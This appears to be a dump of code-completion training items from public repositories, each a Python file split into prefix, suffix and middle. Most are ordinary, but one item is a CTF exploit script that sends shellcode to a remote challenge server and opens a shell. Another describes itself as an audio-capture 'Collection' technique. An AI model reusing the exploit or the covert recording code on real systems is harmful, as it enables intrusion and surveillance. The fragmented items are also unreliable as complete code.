text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_prefix|># repo: jajaspider/NLP path: /file_merge_1.py
from datetime import datetime
import os
import time
from openpyxl import load_workbook, Workbook
# 평균 시간 계산용 함수 time_spend 전역 배열을 사용
def time_cal(count):
sum = 0
for i in time_spend:
sum += i
print("평균 소요 시간 : " + str(round(sum / (coun... | code_fim | hard | {
"lang": "python",
"repo": "jajaspider/NLP",
"path": "/file_merge_1.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> except Exception as e:
print(e)
try:
except_word = open("결과제외단어.txt", mode='rt', encoding='utf-8')
for i in except_word.readlines():
i = i.replace('\n', '')
del nouncount[noun.index(i)]
del noun[noun.index(i)]
except_word.close()... | code_fim | hard | {
"lang": "python",
"repo": "jajaspider/NLP",
"path": "/file_merge_1.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def setUp(self):
self.work = WeWork()
self.upload = MeterialPage(self.work.driver)
self.choose_tool = ManageToolsPage(self.work.driver)
def teardown(self):
pass
# sleep(3)
# self.work.quit()
def test_upload_images(self):
self.choose_too... | code_fim | medium | {
"lang": "python",
"repo": "chenzy01/Testerhome_homework",
"path": "/test_wework/test_upload_images.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def teardown(self):
pass
# sleep(3)
# self.work.quit()
def test_upload_images(self):
self.choose_tool.choose_tool("素材库")
self.upload.upload_images("C:/Users/CZY/PycharmProjects/Demo/images/起风了.jpg")
assert self.upload.get_tips() == "OK"<|fim_prefix|... | code_fim | medium | {
"lang": "python",
"repo": "chenzy01/Testerhome_homework",
"path": "/test_wework/test_upload_images.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: chenzy01/Testerhome_homework path: /test_wework/test_upload_images.py
from test_wework.material_page import MeterialPage
from test_wework.wework_page import WeWork
from test_wework.managetools_page import ManageToolsPage
class TestUploadImages:
<|fim_suffix|> pass
# sleep(3)
... | code_fim | medium | {
"lang": "python",
"repo": "chenzy01/Testerhome_homework",
"path": "/test_wework/test_upload_images.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>print("True")
else:
print("False")
main()<|fim_prefix|># repo: zumanah/Zum-Python path: /finishedCondition7.py
#this program will tell you if a character is a lower case letter
def main():
# b == "k"
b = inpu<|fim_middle|>t("Enter answer")
if(b>="a" and b<="z"):
| code_fim | easy | {
"lang": "python",
"repo": "zumanah/Zum-Python",
"path": "/finishedCondition7.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: zumanah/Zum-Python path: /finishedCondition7.py
#this program will tell you if a character is a lowe<|fim_suffix|>t("Enter answer")
if(b>="a" and b<="z"):
print("True")
else:
print("False")
main()<|fim_middle|>r case letter
def main():
# b == "k"
b = inpu | code_fim | easy | {
"lang": "python",
"repo": "zumanah/Zum-Python",
"path": "/finishedCondition7.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: github-2643/python.github.io path: /range.py
numbers = list(range(10)) # range from 0to 9
print(numbers)
<|fim_suffix|>numbers = list(range(15,50,5)) # range from 15 to 50 with difference of 5
print(numbers)<|fim_middle|>numbers = list(range(11,20)) # range from 11 to 20
print(numbers)
| code_fim | medium | {
"lang": "python",
"repo": "github-2643/python.github.io",
"path": "/range.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>numbers = list(range(15,50,5)) # range from 15 to 50 with difference of 5
print(numbers)<|fim_prefix|># repo: github-2643/python.github.io path: /range.py
numbers = list(range(10)) # range from 0to 9
print(numbers)
<|fim_middle|>numbers = list(range(11,20)) # range from 11 to 20
print(numbers)
| code_fim | medium | {
"lang": "python",
"repo": "github-2643/python.github.io",
"path": "/range.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> # ### commands auto generated by Alembic - please adjust! ###
op.drop_column('home_listings', 'sq_feet')
op.drop_column('home_listings', 'beds')
op.drop_column('home_listings', 'baths')
# ### end Alembic commands ###<|fim_prefix|># repo: Amertz08/zillow_scraper path: /migrations/versi... | code_fim | hard | {
"lang": "python",
"repo": "Amertz08/zillow_scraper",
"path": "/migrations/versions/d69091f4ab42_.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Amertz08/zillow_scraper path: /migrations/versions/d69091f4ab42_.py
"""empty message
Revision ID: d69091f4ab42
Revises: 4224bceeb26a
Create Date: 2017-02-03 14:00:27.370841
"""
from alembic import op
import sqlalchemy as sa
<|fim_suffix|>def upgrade():
# ### commands auto generated by Ale... | code_fim | medium | {
"lang": "python",
"repo": "Amertz08/zillow_scraper",
"path": "/migrations/versions/d69091f4ab42_.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: LinnTaylor/reflections path: /MachineLearning/Outliers/outlier_cleaner.py
#!/usr/bin/python
def outlierCleaner(predictions, ages, net_worths):
"""
clean away the 10% of points that have the largest
residual errors (different between the prediction
and the actual net ... | code_fim | medium | {
"lang": "python",
"repo": "LinnTaylor/reflections",
"path": "/MachineLearning/Outliers/outlier_cleaner.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> ### your code goes here
temp = abs(predictions-net_worths)
for k in range(len(ages)):
cleaned_data.append((ages[k][0],net_worths[k][0],temp[k][0]))
cleaned_data = sorted(cleaned_data, key=lambda data:data[2])
print("Length: ", len(cleaned_data))
cleaned_data = cleaned_data[... | code_fim | medium | {
"lang": "python",
"repo": "LinnTaylor/reflections",
"path": "/MachineLearning/Outliers/outlier_cleaner.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def process_pipeline(self,
show_intermediate=False, show_mask=False,
show_original=True, show_final=True):
image = self.image
if image is None:
raise Exception("Please load an image before starting the process")
if ... | code_fim | hard | {
"lang": "python",
"repo": "dariosky/self-driving-cars",
"path": "/sdcnnet/lanefinder.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: dariosky/self-driving-cars path: /sdcnnet/lanefinder.py
from .base import *
class LaneFinderPipeline:
def __init__(self):
# maybe we will need some params here
self.image = None
self.interesting_mask = None # interest zone mask is the same for each frame
sel... | code_fim | hard | {
"lang": "python",
"repo": "dariosky/self-driving-cars",
"path": "/sdcnnet/lanefinder.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> super().__init__()
self.attributes = ["allow"]<|fim_prefix|># repo: urushiyama/DeUI path: /deui/html/attribute/allow_attr.py
from .attribute_builder import AttributeBuilder
<|fim_middle|>class Allow(AttributeBuilder):
"""
Represents 'allow' attribute.
"""
def __init__(se... | code_fim | medium | {
"lang": "python",
"repo": "urushiyama/DeUI",
"path": "/deui/html/attribute/allow_attr.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: urushiyama/DeUI path: /deui/html/attribute/allow_attr.py
from .attribute_builder import AttributeBuilder
class Allow(AttributeBuilder):
<|fim_suffix|> super().__init__()
self.attributes = ["allow"]<|fim_middle|> """
Represents 'allow' attribute.
"""
def __init__(se... | code_fim | medium | {
"lang": "python",
"repo": "urushiyama/DeUI",
"path": "/deui/html/attribute/allow_attr.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Node is a leaf
elif del_node.left is None and del_node.right is None:
parent = self._find_parent(del_node)
if self.key(del_node.key) <= self.key(parent.key):
parent.left = None
else:
parent.right = None
# Node h... | code_fim | hard | {
"lang": "python",
"repo": "Alizame/aaads4",
"path": "/BinarySearchTree.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Alizame/aaads4 path: /BinarySearchTree.py
from StudiObject import StudiObject
from TreeNode import TreeNode
class BinarySearchTree:
def __init__(self, key=lambda x: x):
self.root = None
self.key = key
def __iter__(self):
yield from self.inorder()
def _find... | code_fim | hard | {
"lang": "python",
"repo": "Alizame/aaads4",
"path": "/BinarySearchTree.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def _get_inorder_successor(self, node: TreeNode):
try:
my_generator = self._node_inorder(node.right)
successor = next(my_generator) # if this fails it means it didn't have 2 children
return successor
except:
raise Exception("no successor... | code_fim | hard | {
"lang": "python",
"repo": "Alizame/aaads4",
"path": "/BinarySearchTree.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> In a derived class,sets a reference to a GDI+ brush object.
brush: A pointer to the GDI+ brush object.
"""
pass
def TranslateTransform(self,dx,dy,order=None):
"""
TranslateTransform(self: TextureBrush,dx: Single,dy: Single,order: MatrixOrder)
Translates the local geometric transfor... | code_fim | hard | {
"lang": "python",
"repo": "shnlmn/Rhino-Grasshopper-Scripts",
"path": "/IronPythonStubs/release/stubs.min/System/Drawing/__init___parts/TextureBrush.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: shnlmn/Rhino-Grasshopper-Scripts path: /IronPythonStubs/release/stubs.min/System/Drawing/__init___parts/TextureBrush.py
class TextureBrush(Brush,ICloneable,IDisposable):
"""
Each property of the System.Drawing.TextureBrush class is a System.Drawing.Brush object that uses an image to fill the in... | code_fim | hard | {
"lang": "python",
"repo": "shnlmn/Rhino-Grasshopper-Scripts",
"path": "/IronPythonStubs/release/stubs.min/System/Drawing/__init___parts/TextureBrush.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: schorox/SecDev-Test path: /recorder.py
import pyaudio
import audioop
from os import path
# This module implements the Audio Capture technique (under the Collection tactic).
# The module captures the audio using a simple & default API called MME, which is found on most/all Windows machines.
... | code_fim | hard | {
"lang": "python",
"repo": "schorox/SecDev-Test",
"path": "/recorder.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.stream = self.audio.open(format=self.format, channels=self.channels,
rate=self.RATE, input=True, frames_per_buffer=self.sample_size)
def read_stream(self):
frames = []
for i in range(0, int(self.RATE / self.sample_size * self.dur... | code_fim | hard | {
"lang": "python",
"repo": "schorox/SecDev-Test",
"path": "/recorder.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mnuck/project-euler path: /60/solution.py
#!/usr/bin/env python
#
# Project Euler 60
from itertools import combinations
from bitarray import bitarray
from math import sqrt
primes = None
primeset = None
maxlen = 8
def generate_primes():
global maxlen
size = 10 ** maxlen
stop = int(... | code_fim | hard | {
"lang": "python",
"repo": "mnuck/project-euler",
"path": "/60/solution.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> global primeset
a, b = str(a), str(b)
i, j = int(a + b), int(b + a)
return i in primeset and j in primeset
def set_satisfies(s):
if len(s) < 2:
return True
return all(pair_satisfies(a, b) for (a, b) in combinations(s, 2))
dead_ends = set()
def partial(working):
glo... | code_fim | hard | {
"lang": "python",
"repo": "mnuck/project-euler",
"path": "/60/solution.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>dead_ends = set()
def partial(working):
global maxlen
if len(working) == 5:
return working
if len(working) > 0:
longest = max(working, key=lambda x: len(str(x)))
maxprime = 10 ** (maxlen - len(str(longest)))
else:
maxprime = 10 ** maxlen
for prime... | code_fim | hard | {
"lang": "python",
"repo": "mnuck/project-euler",
"path": "/60/solution.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># array = [1,2,4,16,8,4]
# result = canReorderDoubled(array)
# print(result)<|fim_prefix|># repo: sumitpatra6/leetcode_daily_challenges path: /previous/array_doubled_pairs.py
from typing_extensions import TypeAlias
def canReorderDoubled(arr):
<|fim_middle|> from collections import Counter
... | code_fim | hard | {
"lang": "python",
"repo": "sumitpatra6/leetcode_daily_challenges",
"path": "/previous/array_doubled_pairs.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: sumitpatra6/leetcode_daily_challenges path: /previous/array_doubled_pairs.py
from typing_extensions import TypeAlias
def canReorderDoubled(arr):
<|fim_suffix|># array = [1,2,4,16,8,4]
# result = canReorderDoubled(array)
# print(result)<|fim_middle|> from collections import Counter
... | code_fim | hard | {
"lang": "python",
"repo": "sumitpatra6/leetcode_daily_challenges",
"path": "/previous/array_doubled_pairs.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)<|fim_prefix|># repo: damilare/mitiri path: /app.py
from setup import app
from public.views import pages
from admin.views import admin
<|fim_middle|>app.register_blueprint(pages)
app.register_blueprint(admin)
| code_fim | medium | {
"lang": "python",
"repo": "damilare/mitiri",
"path": "/app.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: damilare/mitiri path: /app.py
from setup import app
from public.views import pages
from admin.views import admin
<|fim_suffix|>if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)<|fim_middle|>app.register_blueprint(pages)
app.register_blueprint(admin)
| code_fim | medium | {
"lang": "python",
"repo": "damilare/mitiri",
"path": "/app.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500<|fim_prefix|># repo: siflaneur/Blog path: /blog/views.py
# coding=utf-8
from flask import flash, make_response, render_template, request, redirect, url_for
from f... | code_fim | hard | {
"lang": "python",
"repo": "siflaneur/Blog",
"path": "/blog/views.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: siflaneur/Blog path: /blog/views.py
# coding=utf-8
from flask import flash, make_response, render_template, request, redirect, url_for
from flask_login import login_user, logout_user
from blog.app import app, login_manager
from blog.form import LoginForm
@app.route('/')
def homepage():
nam... | code_fim | hard | {
"lang": "python",
"repo": "siflaneur/Blog",
"path": "/blog/views.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: TheAlbatross279/Gustafo path: /db/dbsetup.py
"""
LEGACY GUSTAFO 1.0 -- NOT ADAPTED FOR USE IN Gustafo 2.0
"""
import sqlite3
class Database(object):
def __init__(self):
<|fim_suffix|> def query(self, query):
self.c.execute(query)
results = []
for row in self.c:
... | code_fim | hard | {
"lang": "python",
"repo": "TheAlbatross279/Gustafo",
"path": "/db/dbsetup.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def build_tables(self):
self.c.execute('''CREATE TABLE facts
(author text, msg text, recipient text, knowers text)''')
if __name__ == '__main__':
db = Database()
db.build_tables()<|fim_prefix|># repo: TheAlbatross279/Gustafo path: /db/dbsetup.py
"""
LEGACY GUSTAFO 1.0 -- NOT A... | code_fim | hard | {
"lang": "python",
"repo": "TheAlbatross279/Gustafo",
"path": "/db/dbsetup.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> for step in range(num_steps):
offset = (step * batch_size) % (train_labels.shape[0] - batch_size)
batch_data = train_dataset[offset:(offset + batch_size), :, :, :]
batch_labels = train_labels[offset:(offset + batch_size), :]
feed_dict = {tf_train_dataset: batch_data, tf_train_l... | code_fim | hard | {
"lang": "python",
"repo": "atrianurag/machine-learning",
"path": "/tensorflow/udacity/conv_net.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>def train_conv_net():
with tf.Session(graph=graph) as session:
tf.global_variables_initializer().run()
print ('initialized')
results = {
'loss': [],
'training_accuracy': [],
'validation_accuracy': [],
'test_accuracy': None
}
for step in range(num_step... | code_fim | hard | {
"lang": "python",
"repo": "atrianurag/machine-learning",
"path": "/tensorflow/udacity/conv_net.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: atrianurag/machine-learning path: /tensorflow/udacity/conv_net.py
from __future__ import print_function
import numpy as np
import tensorflow as tf
from six.moves import cPickle as pickle
from six.moves import range
import download_extract_process
import matplotlib.pyplot as plt
import matplotlib.... | code_fim | hard | {
"lang": "python",
"repo": "atrianurag/machine-learning",
"path": "/tensorflow/udacity/conv_net.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
dependencies = [
('djangoecommerceweb', '0002_remove_product_product_image'),
]
operations = [
migrations.CreateModel(
name='Coupon',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='I... | code_fim | hard | {
"lang": "python",
"repo": "TheGreatAndrew/Django-Ecommerce",
"path": "/djangoecommerceweb/migrations/0003_auto_20201130_0045.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: TheGreatAndrew/Django-Ecommerce path: /djangoecommerceweb/migrations/0003_auto_20201130_0045.py
# Generated by Django 3.1.2 on 2020-11-30 00:45
from django.db import migrations, models
class Migration(migrations.Migration):
<|fim_suffix|> operations = [
migrations.CreateModel(
... | code_fim | hard | {
"lang": "python",
"repo": "TheGreatAndrew/Django-Ecommerce",
"path": "/djangoecommerceweb/migrations/0003_auto_20201130_0045.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> operations = [
migrations.CreateModel(
name='Coupon',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('coupon_id', models.IntegerField()),
],
),
migr... | code_fim | hard | {
"lang": "python",
"repo": "TheGreatAndrew/Django-Ecommerce",
"path": "/djangoecommerceweb/migrations/0003_auto_20201130_0045.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>### Opening files
#### To open files available in your current working directory (use ls to see whats available) you'll use the command cloudshell open <file>.
### Check for time....removing and moving files and folders might be more beneficial as a full stretch where students look up how to do on their... | code_fim | hard | {
"lang": "python",
"repo": "dstamp1/FTF-WF-2021",
"path": "/day01/day01a-CommandLine.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>## Possibly state that we can also move, delete, and rename files and folders.
# cp (copy) rm (remove/delete) mv (move)
##First Lab
### Framing: We're going to work on our first lab now. Labs is where the *real* learning happens where you will work closely with your classmates to reinforce concepts and ... | code_fim | hard | {
"lang": "python",
"repo": "dstamp1/FTF-WF-2021",
"path": "/day01/day01a-CommandLine.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: dstamp1/FTF-WF-2021 path: /day01/day01a-CommandLine.py
# Intro to Cloudshell
## A virtual computer you get access to for free with a google account
## You get files and a terminal
### Do a quick tour of the parts
# Terminal - Bash
## The programming language of the terminal is called `bash` and ... | code_fim | medium | {
"lang": "python",
"repo": "dstamp1/FTF-WF-2021",
"path": "/day01/day01a-CommandLine.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> face_boxes_list, _ = FaceDetector.detect(i_img)
for face_box in face_boxes_list:
face_img = i_img[face_box[0]:face_box[1], face_box[2]:face_box[3]]
if face_img.shape != (112, 112):
face_img = resize(face_img, (112, 112))
emb0 = FaceRe... | code_fim | medium | {
"lang": "python",
"repo": "muhammadaly/Perceptron",
"path": "/face_functions/face_authenticator.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: muhammadaly/Perceptron path: /face_functions/face_authenticator.py
from face_functions.face_detection import FaceDetector
from face_functions.face_recognition import FaceRecognizer
from cv2 import resize
class FaceAuthenticator:
<|fim_suffix|> face_boxes_list, _ = FaceDetector.detect(i_i... | code_fim | medium | {
"lang": "python",
"repo": "muhammadaly/Perceptron",
"path": "/face_functions/face_authenticator.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: cash2one/xai path: /xai/brain/wordbase/nouns/_roomful.py
#calss header
class _ROOMFUL():
def __init__(self,):
self.name = "ROOMFUL"
self.definitions = [u'as many or as much as a room will hold: ']
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
<|fim... | code_fim | easy | {
"lang": "python",
"repo": "cash2one/xai",
"path": "/xai/brain/wordbase/nouns/_roomful.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: cash2one/xai path: /xai/brain/wordbase/nouns/_roomful.py
#calss header
class _ROOMFUL():
<|fim_suffix|> self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.specie = 'nouns'
def run(self, obj1 = [], obj2 = []):
return self.jsondata<|fim_middle|> def _... | code_fim | medium | {
"lang": "python",
"repo": "cash2one/xai",
"path": "/xai/brain/wordbase/nouns/_roomful.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: nachaboi/CN path: /UDP_Client-Unreliable.py
import socket
import sys
import select
a = sys.argv
if len(a) != 2:
print("NO TEXT FILE GIVEN OR TOO MANY PARAMETERS")
quit()
d = 0.1
f = None
try:
f = open(a[1], "r")
except:
print("INVALID TEXT FILE")
quit()
data = f.read()
data = data.splitl... | code_fim | hard | {
"lang": "python",
"repo": "nachaboi/CN",
"path": "/UDP_Client-Unreliable.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>i = 0
while i <= 6:
# print(i, d)
UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
temp = str(arr[i][0]) + " " + str(arr[i][1]) + " " + str(arr[i][2])
UDPClientSocket.sendto(temp.encode(), serverAddressPort)
UDPClientSocket.settimeout(d)
restart = False
passBy = Fals... | code_fim | medium | {
"lang": "python",
"repo": "nachaboi/CN",
"path": "/UDP_Client-Unreliable.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>while i <= 6:
# print(i, d)
UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
temp = str(arr[i][0]) + " " + str(arr[i][1]) + " " + str(arr[i][2])
UDPClientSocket.sendto(temp.encode(), serverAddressPort)
UDPClientSocket.settimeout(d)
restart = False
passBy = False
try:... | code_fim | medium | {
"lang": "python",
"repo": "nachaboi/CN",
"path": "/UDP_Client-Unreliable.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: aioupload/dexy path: /dexy/reporters/run/classes.py
from dexy.reporter import Reporter
from dexy.doc import Doc
from jinja2 import Environment
from jinja2 import FileSystemLoader
import operator
import os
import random
import shutil
def link_to_doc(node):
return """ <a href="#%s">↓... | code_fim | hard | {
"lang": "python",
"repo": "aioupload/dexy",
"path": "/dexy/reporters/run/classes.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def print_children(node, indent=0, extra=""):
rand_id = random.randint(10000000,99999999)
spaces = " " * 4 * indent
nbspaces = " " * 4 * indent
content = ""
node_div = """%s<div data-toggle="collapse" data-target="#%s">%s%s%s%s</div... | code_fim | hard | {
"lang": "python",
"repo": "aioupload/dexy",
"path": "/dexy/reporters/run/classes.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> Arguments:
inplanes {int} -- [输入的通道数]
channel_expansion {int} -- [扩张系数]] (default: {6})
"""
super(LinearBottleneck, self).__init__()
self.inplanes = inplanes
self.stride = stride
self.downsample = downsample
self.se ... | code_fim | hard | {
"lang": "python",
"repo": "skJack/challange",
"path": "/models/mingnet.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: skJack/challange path: /models/mingnet.py
import torch
import torch.nn as nn
import torch.optim as optim
import os
from torchvision import models
class MingNet(nn.Module):
def __init__(self):
super(MingNet, self).__init__()
self.depth_net = MobileNetv2(LinearBottleneck, [1, ... | code_fim | hard | {
"lang": "python",
"repo": "skJack/challange",
"path": "/models/mingnet.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> x = self.layer1(x)
x = self.layer2(x)
x = self.layer3(x)
x = self.layer4(x)
x = self.avg_pool(x)
x = torch.flatten(x, 1)
x = self.fc(x)
return x
class LinearBottleneck(nn.Module):
expansion = 4
def __init__(self, inplanes, planes, ... | code_fim | hard | {
"lang": "python",
"repo": "skJack/challange",
"path": "/models/mingnet.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ChenYongChang1/spider_study path: /database/CSS/juejin_1389.py
, "digg_count": 1, "comment_count": 0, "hot_index": 15, "is_hot": 0, "rank_index": 0.00045398, "status": 2, "verify_status": 1, "audit_status": 2, "mark_content": ""}, "author_user_info": {"user_id": "1248693511259070", "user_name": "... | code_fim | hard | {
"lang": "python",
"repo": "ChenYongChang1/spider_study",
"path": "/database/CSS/juejin_1389.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>d": "4283353031252967", "user_name": "浪里行舟", "company": "联系微信frontJS", "job_title": "前端", "avatar_large": "https://sf1-ttcdn-tos.pstatp.com/img/user-avatar/4ad29756aaea9618a8b385d6be23add4~300x300.image", "level": 6, "description": "", "followee_count": 106, "follower_count": 14741, "post_article_count": ... | code_fim | hard | {
"lang": "python",
"repo": "ChenYongChang1/spider_study",
"path": "/database/CSS/juejin_1389.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ChenYongChang1/spider_study path: /database/CSS/juejin_1389.py
, "extraMap": {}, "is_logout": 0}, "category": {"category_id": "6809637767543259144", "category_name": "前端", "category_url": "frontend", "rank": 2, "back_ground": "https://lc-mhke0kuv.cn-n1.lcfile.com/8c95587526f346c0.png", "icon": "h... | code_fim | hard | {
"lang": "python",
"repo": "ChenYongChang1/spider_study",
"path": "/database/CSS/juejin_1389.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
world = World(win_height, win_width)
world.addWheel([400, 300], 200)
# spout position and width for when rain == false
spoutPos = 380
spoutWidth = 40
pause = False
rain = False # particles randomly appear at top along widith when true, spout when false
maxP = 100 ... | code_fim | hard | {
"lang": "python",
"repo": "CodyMacedo/CSCI3010U_WaterWheelOfFortune",
"path": "/particle.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: CodyMacedo/CSCI3010U_WaterWheelOfFortune path: /particle.py
'''
Water Wheel of Fortune
By Nathaniel Yearwood
Cody Macedo
'''
import pygame, sys
import matplotlib.pyplot as plt
import numpy as np
from scipy.integrate import ode
import random as rand
import math
import threading
win_width = ... | code_fim | hard | {
"lang": "python",
"repo": "CodyMacedo/CSCI3010U_WaterWheelOfFortune",
"path": "/particle.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
# initializing pygame
pygame.init()
clock = pygame.time.Clock()
# top left corner is (0,0)
screen = pygame.display.set_mode((win_width, win_height))
pygame.display.set_caption('Water Wheel of Fortune')
world = World(win_height, win_width)
world.addWheel([400, 300], 2... | code_fim | hard | {
"lang": "python",
"repo": "CodyMacedo/CSCI3010U_WaterWheelOfFortune",
"path": "/particle.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: CrowdEye/crowdeye-node path: /clienttest.py
import cv2
import urllib.request
import numpy as np
with urllib.request.urlopen("http://localhost:5500/stream/0/annotated") as url:
<|fim_suffix|>string(jpg, dtype=np.uint8), cv2.IMREAD_COLOR)
cv2.imshow('i', i)
if cv2.waitK... | code_fim | hard | {
"lang": "python",
"repo": "CrowdEye/crowdeye-node",
"path": "/clienttest.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>string(jpg, dtype=np.uint8), cv2.IMREAD_COLOR)
cv2.imshow('i', i)
if cv2.waitKey(1) == 27:
exit(0)<|fim_prefix|># repo: CrowdEye/crowdeye-node path: /clienttest.py
import cv2
import urllib.request
import numpy as np
with urllib.request.urlopen("http://localhost:55... | code_fim | medium | {
"lang": "python",
"repo": "CrowdEye/crowdeye-node",
"path": "/clienttest.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: pangiann/CTF_challenges path: /pwnable/executionerv2/exp.py
from pwn import *
debug = 0
if not debug:
sh = remote('svc.pwnable.xyz', 30028)
else:
sh = process('./challenge')
<|fim_suffix|>x1 = str(num) + " " + str(num2)
sh.sendlineafter('> ', x1)
shellcode = "\x00\x04\x24\x58\x48\x2d\x... | code_fim | medium | {
"lang": "python",
"repo": "pangiann/CTF_challenges",
"path": "/pwnable/executionerv2/exp.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
x1 = str(num) + " " + str(num2)
sh.sendlineafter('> ', x1)
shellcode = "\x00\x04\x24\x58\x48\x2d\xce\x02\x00\x00\xff\xe0"
pause()
sh.sendafter(': ', shellcode)
pause()
sh.interactive()<|fim_prefix|># repo: pangiann/CTF_challenges path: /pwnable/executionerv2/exp.py
from pwn import *
debug = 0
if not d... | code_fim | medium | {
"lang": "python",
"repo": "pangiann/CTF_challenges",
"path": "/pwnable/executionerv2/exp.py",
"mode": "spm",
"license": "unknown",
